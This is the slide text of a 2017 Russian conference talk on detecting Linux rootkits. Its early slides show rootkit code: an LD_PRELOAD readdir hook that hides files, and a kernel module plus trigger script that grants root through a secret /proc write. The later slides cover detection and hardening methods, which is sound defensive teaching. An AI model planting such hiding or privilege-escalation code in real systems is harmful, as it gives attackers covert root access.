SECON'2017, Цаль-Цалко Иван, Go на практике
SECON'2017, Цаль-Цалко Иван, Go на практикеSECON'2017, Цаль-Цалко Иван, Go на практике
SECON'2017, Цаль-Цалко Иван, Go на практике
 
SECON'2017, Неволин Роман, Функциональный C#
SECON'2017, Неволин Роман, Функциональный C#SECON'2017, Неволин Роман, Функциональный C#
SECON'2017, Неволин Роман, Функциональный C#
 
SECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проекта
SECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проектаSECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проекта
SECON'2017, Мелехова Анна, Архитектура как стихия. Обуздываем энтропию проекта
 
SECON'2017, Макарычев Костантин, Использование Spark для машинного обучения
SECON'2017, Макарычев Костантин, Использование Spark для машинного обученияSECON'2017, Макарычев Костантин, Использование Spark для машинного обучения
SECON'2017, Макарычев Костантин, Использование Spark для машинного обучения
 
SECON'2017, Журавлев Денис, Маркетинг без маркетолога
SECON'2017, Журавлев Денис, Маркетинг без маркетологаSECON'2017, Журавлев Денис, Маркетинг без маркетолога
SECON'2017, Журавлев Денис, Маркетинг без маркетолога
 
SECON'2017, Шатров Михаил, Инструменты успешного предпринимателя
SECON'2017, Шатров Михаил, Инструменты успешного предпринимателяSECON'2017, Шатров Михаил, Инструменты успешного предпринимателя
SECON'2017, Шатров Михаил, Инструменты успешного предпринимателя
 
SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.
SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.
SECON'2017, Цымбал Дмитрий, Компания - Компания. Дружба на этом уровне.
 

Kürzlich hochgeladen

2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf
Хроники кибер-безопасника
 
Cyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdfCyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdf
Хроники кибер-безопасника
 
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Ирония безопасности
 
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
Ирония безопасности
 
CVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdfCVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdf
Хроники кибер-безопасника
 
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdfСИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
Хроники кибер-безопасника
 

Kürzlich hochgeladen (9)

MS Navigating Incident Response [RU].pdf
MS Navigating Incident Response [RU].pdfMS Navigating Incident Response [RU].pdf
MS Navigating Incident Response [RU].pdf
 
Ransomware_Q3 2023. The report [RU].pdf
Ransomware_Q3 2023.  The report [RU].pdfRansomware_Q3 2023.  The report [RU].pdf
Ransomware_Q3 2023. The report [RU].pdf
 
2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf2023 Q4. The Ransomware report. [RU].pdf
2023 Q4. The Ransomware report. [RU].pdf
 
Cyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdfCyberprint. Dark Pink Apt Group [RU].pdf
Cyberprint. Dark Pink Apt Group [RU].pdf
 
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
Cyber Defense Doctrine Managing the Risk Full Applied Guide to Organizational...
 
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
ИСТОЧНИКИ ИННОВАЦИОННОСТИ КИТАЯ (ПО ВЕРСИИ DGAP) | The Sources of China’s Inn...
 
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdfMalware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
 
CVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdfCVE. The Fortra's GoAnywhere MFT [RU].pdf
CVE. The Fortra's GoAnywhere MFT [RU].pdf
 
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdfСИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
СИСТЕМА ОЦЕНКИ УЯЗВИМОСТЕЙ CVSS 4.0 / CVSS v4.0 [RU].pdf
 

SECON'2017, Клементьев Михаил, Обнаружение руткитов в GNU/Linux

  • 1. Обнаружение руткитов в GNU/Linux Михаил Клементьев SECON 2017 1
  • 2. Кто я? • Linux Kernel Security Developer 2
  • 3. Кто я? • Linux Kernel Security Developer • Security researcher at 2
  • 4. Кто я? • Linux Kernel Security Developer • Security researcher at • Hardened Gentoo lover 2
  • 5. Кто я? • Linux Kernel Security Developer • Security researcher at • Hardened Gentoo lover • Associate member of 2
  • 6. О чем доклад? • Зачем все это нужно 3
  • 7. О чем доклад? • Зачем все это нужно • Что такое руткит 3
  • 8. О чем доклад? • Зачем все это нужно • Что такое руткит • Что руткит из себя представляет 3
  • 9. О чем доклад? • Зачем все это нужно • Что такое руткит • Что руткит из себя представляет • Обнаружение руткитов (и немного просто malware) 3
  • 11. А разве меня взломали? 5
  • 15. А разве меня взломали? 9
  • 16. А разве меня взломали? Да. 9
  • 20. Чем могут заниматься? • Подмена системных файлов 11
  • 21. Чем могут заниматься? • Подмена системных файлов • Изменение логов 11
  • 22. Чем могут заниматься? • Подмена системных файлов • Изменение логов • Изменение исполняемых файлов при старте 11
  • 23. Чем могут заниматься? • Подмена системных файлов • Изменение логов • Изменение исполняемых файлов при старте • Скрытие процессов 11
  • 24. Чем могут заниматься? • Подмена системных файлов • Изменение логов • Изменение исполняемых файлов при старте • Скрытие процессов • Скрытие сетевых соединений 11
  • 25. Чем могут заниматься? • Подмена системных файлов • Изменение логов • Изменение исполняемых файлов при старте • Скрытие процессов • Скрытие сетевых соединений • Защита от обнаружения 11
  • 26. Чем могут заниматься? • Подмена системных файлов • Изменение логов • Изменение исполняемых файлов при старте • Скрытие процессов • Скрытие сетевых соединений • Защита от обнаружения • Много всего остального, о чем знают только разработчики 11
  • 27. Как это работает: user-space $ touch f i r s t _ f i l e $ touch second_file $ touch h i d d e n _ f i l e $ l s f i r s t _ f i l e second_file 12
  • 28. Как это работает: user-space $ LD_DEBUG=symbols l s 2>&1 | grep r e a d d i r symbol=o r i g _ r e a d d i r ; lookup in f i l e=l s symbol=o r i g _ r e a d d i r ; lookup in f i l e=/lib64/hide.so symbol=r e a d d i r ; lookup in f i l e=l s symbol=r e a d d i r ; lookup in f i l e=/lib64/hide.so symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6 symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6 symbol=r e a d d i r ; lookup in f i l e =/l i b 6 4 / l i b c . so .6 13
  • 29. Как это работает: user-space $ l s / l i b 6 4 / | grep hide . so $ # f i l e doesn ’ t e x i s t $ t e s t −f / l i b 6 4 / hide . so && echo " e x i s t " e x i s t $ env | grep hide . so LD_PRELOAD=/l i b 6 4 / hide . so 14
  • 30. Как это работает: user-space struct dirent *(* orig_readdir )(DIR *); struct dirent *readdir(DIR *dirp) { struct dirent *ret; void *libc = dlopen(LIBC_PATH , RTLD_LAZY ); orig_readdir = dlsym(libc , "readdir"); while (ret = orig_readdir(dirp )) if (strcmp(ret ->d_name , HIDDEN_FILENAME )) break; return ret; } 15
  • 31. Как это работает: kernel-space $ g i t clone github . com/ NoviceLive / research −r o o t k i t $ cd research −r o o t k i t /2−fundamentals / root $ make # insmod rootko . ko $ dmesg [ . . . ] rootko . init_module : Greetings the World ! 16
  • 32. Как это работает: kernel-space # ./ r00tme . sh uid =1000 gid =1000 / proc / kcore : r e g u l a r f i l e , no read permission uid=0 gid=0 / proc / kcore : ELF 64− b i t LSB core f i l e x86 −64... $ dmesg [ . . . ] rootko . write_h : Comrade , I w i l l help you . [ . . . ] rootko . write_h : See you ! 17
  • 33. Как это работает: kernel-space struct file_operations proc_fops = { .write = write_handler }; int init_module(void) { fm_alert("%sn", "Greetings␣the␣World!"); entry = proc_create(NAME , S_IRUGO | S_IWUGO , SECRET_FILE , &proc_fops ); return 0; } 18
  • 34. Как это работает: kernel-space ssize_t write_handler(struct file * filp , char *buff , size_t count , loff_t *offp) { ... if (! strncmp(SOME_SECRET , kbuff , count )) { fm_alert("%sn", "Comrade ,␣I␣will␣help␣you."); cred = (struct cred *) __task_cred(current ); cred ->uid = cred ->euid = cred ->fsuid = 0; cred ->gid = cred ->egid = cred ->fsgid = 0; fm_alert("%sn", "See␣you!"); } ... } 19
  • 35. Как это работает: kernel-space $ cat r00tme . sh . . . p r i n t f ’%s ’ SOME_SECRET > / proc /SECRET_FILE id . . . 20
  • 36. Обнаружение руткитов: проблемы • Для проверки сервер редко можно выключить 21
  • 37. Обнаружение руткитов: проблемы • Для проверки сервер редко можно выключить • Доступ к VPS ограничен 21
  • 38. Обнаружение руткитов: проблемы • Для проверки сервер редко можно выключить • Доступ к VPS ограничен • Open Source решения (chkrootkit, unhide, rkhunter) редко обновляются и неэффективны против kernel-space руткитов 21
  • 39. Обнаружение руткитов: проблемы • Для проверки сервер редко можно выключить • Доступ к VPS ограничен • Open Source решения (chkrootkit, unhide, rkhunter) редко обновляются и неэффективны против kernel-space руткитов • Почти всегда в недоверенном окружении 21
  • 40. Развертывание в недоверенной системе • scp && ssh 22
  • 41. Развертывание в недоверенной системе • scp && ssh • gcc -static 22
  • 42. Развертывание в недоверенной системе • scp && ssh • gcc -static • ELF crypter/protector 22
  • 43. Развертывание в недоверенной системе • scp && ssh • gcc -static • ELF crypter/protector • crackme?!? 22
  • 44. user-space [0]: подходы • Обнаружение явно не скрытых сущностей 23
  • 45. user-space [0]: подходы • Обнаружение явно не скрытых сущностей • Поиск нарушений консистентности user-space/kernel-space 23
  • 46. user-space [0]: подходы • Обнаружение явно не скрытых сущностей • Поиск нарушений консистентности user-space/kernel-space • Проверка целостности 23
  • 47. user-space [1]: все то, что не скрыто • .config/gtk-2.0/settings.ini 24
  • 48. user-space [1]: все то, что не скрыто • .config/gtk-2.0/settings.ini • /bin/ps, /usr/bin/ps 24
  • 49. user-space [1]: все то, что не скрыто • .config/gtk-2.0/settings.ini • /bin/ps, /usr/bin/ps • /usr/bin/rootkit 24
  • 50. user-space [2]: поиск противоречий • Сравнение содержимого procfs с выводом команды ps aux $ ps −e | grep ’^ 63 ’ 6304 ? 00:00:00 acpid 6328 ? 00:00:00 battery −watcher 6374 ? 00:00:00 crond $ l s / proc | grep ’^63 ’ 6304 6328 6346 6374 25
  • 51. user-space [2]: поиск противоречий • Сравнение содержимого procfs с выводом команды ps aux $ ps −e | grep ’^ 63 ’ 6304 ? 00:00:00 acpid 6328 ? 00:00:00 battery −watcher 6374 ? 00:00:00 crond $ l s / proc | grep ’^63 ’ 6304 6328 6346 6374 • Размер файловой системы и файлов 25
  • 52. user-space [2]: поиск противоречий • Сравнение содержимого procfs с выводом команды ps aux 26
  • 53. user-space [2]: поиск противоречий • Сравнение содержимого procfs с выводом команды ps aux • Размер файловой системы и файлов # du −hcs /tmp 6 ,7M /tmp 6,7M # df −h | grep /tmp tmpfs 12G 8,3M 12G 1% /tmp 26
  • 54. user-space [3]: проверка целостности • AIDE 27
  • 55. user-space [3]: проверка целостности • AIDE • Средства, предоставляемые пакетными менеджерами 27
  • 56. user-space [3]: проверка целостности • AIDE • Средства, предоставляемые пакетными менеджерами • dpkg –verify 27
  • 57. user-space [3]: проверка целостности • AIDE • Средства, предоставляемые пакетными менеджерами • dpkg –verify • debsums 27
  • 58. user-space [3]: проверка целостности • AIDE • Средства, предоставляемые пакетными менеджерами • dpkg –verify • debsums • rpm -V 27
  • 59. kernel-space [0]: подходы • Поиск нарушений консистентности предоставляемой ядром информации 28
  • 60. kernel-space [0]: подходы • Поиск нарушений консистентности предоставляемой ядром информации • Встраивание в планировщик процессов 28
  • 61. kernel-space [0]: подходы • Поиск нарушений консистентности предоставляемой ядром информации • Встраивание в планировщик процессов • Анализ памяти 28
  • 62. kernel-space [0]: подходы • Поиск нарушений консистентности предоставляемой ядром информации • Встраивание в планировщик процессов • Анализ памяти • Анализ задержек 28
  • 63. kernel-space [2]: поиск противоречий • Перебор всех возможных идентификаторов процесса (pid bruteforce) $ l s / proc | grep ’^63 ’ 6304 6328 6374 $ s t a t / proc /6305 s t a t : cannot s t a t ’/ proc /6305: No such f i l e $ s t a t / proc /6306 s t a t : cannot s t a t ’/ proc /6306: No such f i l e $ s t a t / proc /6307 F i l e : ’/ proc /6307 ’ Size : 0 Blocks : 0 IO Block : 1024 directory 29
  • 64. kernel-space [2]: поиск противоречий $ lsmod Module Size Used by vboxpci 14318 0 vboxnetadp 18566 0 $ cat / proc / kallsyms | grep vboxpci a0072f00 t DevRegisterIrqHandler [ vboxpci ] a0073040 t DevUnregisterIrqHandler [ vboxpci ] a0072e20 t DevUnmapRegion [ vboxpci ] a0073fe0 t SUPR0IdcClose [ vboxpci ] $ cat / proc / kallsyms | grep ’ . ∗ [ . ∗ ] $ ’ | cut . . . x86_pkg_temp_thermal vboxpci vboxnetadp 30
  • 65. kernel-space [3]: встраивание в планировщик процессов 31
  • 66. kernel-space [3]: встраивание в планировщик процессов int hook_try_to_wake_up(struct task_struct *p, unsigned int state , int wake_flags) { printk("p->pid:␣%d,␣p->comm:␣%sn" p->pid , p->comm ); return origin_try_to_wake_up(p, state , wake_flags ); } 32
  • 67. kernel-space [3]: встраивание в планировщик процессов dmesg: [ 9 4 . 5 6 8 ] p−>pid : 1749 , p−>comm: r s y s l o g d [ 9 4 . 5 6 9 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg [ 9 4 . 5 7 2 ] p−>pid : 1749 , p−>comm: r s y s l o g d [ 9 4 . 5 7 3 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg [ 9 4 . 5 7 6 ] p−>pid : 1749 , p−>comm: r s y s l o g d [ 9 4 . 5 7 7 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg [ 9 4 . 5 8 0 ] p−>pid : 1749 , p−>comm: r s y s l o g d [ 9 4 . 5 8 1 ] p−>pid : 1935 , p−>comm: hiddenprocess [ 9 4 . 6 0 5 ] p−>pid : 1747 , p−>comm: r s : main Q: Reg 33
  • 68. kernel-space: подходы • Поиск нарушений консистентности предоставляемой ядром информации • Встраивание в планировщик процессов • Анализ памяти • Анализ задержек 34
  • 69. Как не словить? • Использование электронной подписи для модулей ядра 35
  • 70. Как не словить? • Использование электронной подписи для модулей ядра • Знайте, что происходит на вашей системе 35
  • 71. Как не словить? • Использование электронной подписи для модулей ядра • Знайте, что происходит на вашей системе • Разграничение полномочий 35
  • 72. Как не словить? • Использование электронной подписи для модулей ядра • Знайте, что происходит на вашей системе • Разграничение полномочий • Обновления, обновления, обновления. . . 35
  • 73. Как не словить? • Использование электронной подписи для модулей ядра • Знайте, что происходит на вашей системе • Разграничение полномочий • Обновления, обновления, обновления. . . • Перезапуск приложений и ядра после обновления (либо kpatch) 35
  • 75. Спасибо за внимание! Клементьев Михаил m.klementyev@dsec.ru 37
  • 76. thx • https://outflux.net • http://securityaffairs.co • http://derekmolloy.ie • https://github.com/NoviceLive/research-rootkit 38